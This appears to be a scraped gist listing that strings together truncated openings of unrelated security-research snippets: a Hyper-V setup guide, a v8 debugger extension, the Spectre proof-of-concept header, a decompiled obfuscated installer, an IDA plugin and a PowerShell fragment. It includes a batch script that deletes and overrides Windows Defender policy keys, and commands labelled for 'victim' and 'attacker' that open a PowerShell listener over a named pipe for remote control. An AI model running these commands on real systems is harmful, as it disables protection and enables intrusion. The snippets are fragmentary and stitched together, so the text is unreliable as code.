richinseattle

Setup Hyper-V enhanced session for Ubuntu 20

I couldn't find instructions that were 100% complete, so I put this together.

These instructions worked fine for me. Follow each step carefully.

DO NOT create the VM by choosing Quick Create in Hyper-V Manager. Follow these instructions exactly.

duplicates = multiple editions

	"""
	To use the extension, place the file somewhere and add
	`source /path/to/extension`
	in your ~/.gdbinit file

	Use just as you would with `dereference` (https://gef.readthedocs.io/en/master/commands/dereference/)
	but s/deref/veref/g

	Many missing features because I quickly whipped this up to solve a challenge.
	1) Doesn't check for v8 version (Older versions don't use compressed pointers)

	rem USE AT OWN RISK AS IS WITHOUT WARRANTY OF ANY KIND !!!!!
	rem https://technet.microsoft.com/en-us/itpro/powershell/windows/defender/set-mppreference
	rem To also disable Windows Defender Security Center include this
	rem reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
	rem 1 - Disable Real-time protection
	reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
	reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
	reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
	reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
	reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

	/* https://spectreattack.com/spectre.pdf */
	#include <stdio.h>
	#include <stdlib.h>
	#include <stdint.h>
	#ifdef _MSC_VER
	#include <intrin.h> /* for rdtscp and clflush */
	#pragma optimize("gt",on)
	#else
	#include <x86intrin.h> /* for rdtscp and clflush */
	#endif

	#include <stdio.h>
	#include <stdlib.h>
	#include <stdint.h>
	#ifdef _MSC_VER
	#include <intrin.h> /* for rdtscp and clflush */
	#pragma optimize("gt",on)
	#else
	#include <x86intrin.h> /* for rdtscp and clflush */
	#endif

	// Decompiled with JetBrains decompiler
	// Type: Installer.Install
	// Assembly: Installer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
	// MVID: 1DF6A781-016A-4A47-9C62-874A888EB357
	// Assembly location:

	using \u0004;
	using \u0006;
	using Microsoft.Win32;
	using System;

	'''
	IDA plugin to display the calls and strings referenced by a function as hints.

	Installation: put this file in your %IDADIR%/plugins/ directory.
	Author: Willi Ballenthin <[email protected]>
	Licence: Apache 2.0
	'''
	import idc
	import idaapi
	import idautils

	# Command to run on the victim
	# This will establish a PowerShell listener over the "pwnme" named pipe
	remote /S "powershell.exe" pwnme

	# Commands to run on an attacker system - if remote.exe is desired on the client (versus developing your own SMB pipe client)
	runas /netonly /user:[Domain\|Hostname\Username] "cmd"
	remote /C [Hostname\IP] "pwnme"

	function ConvertTo-ProcessMitigationOption {
	[OutputType([String])]
	param (
	[Switch]
	$DEPEnable,

	[Switch]
	$DEPATLThunkEnable,

	[Switch]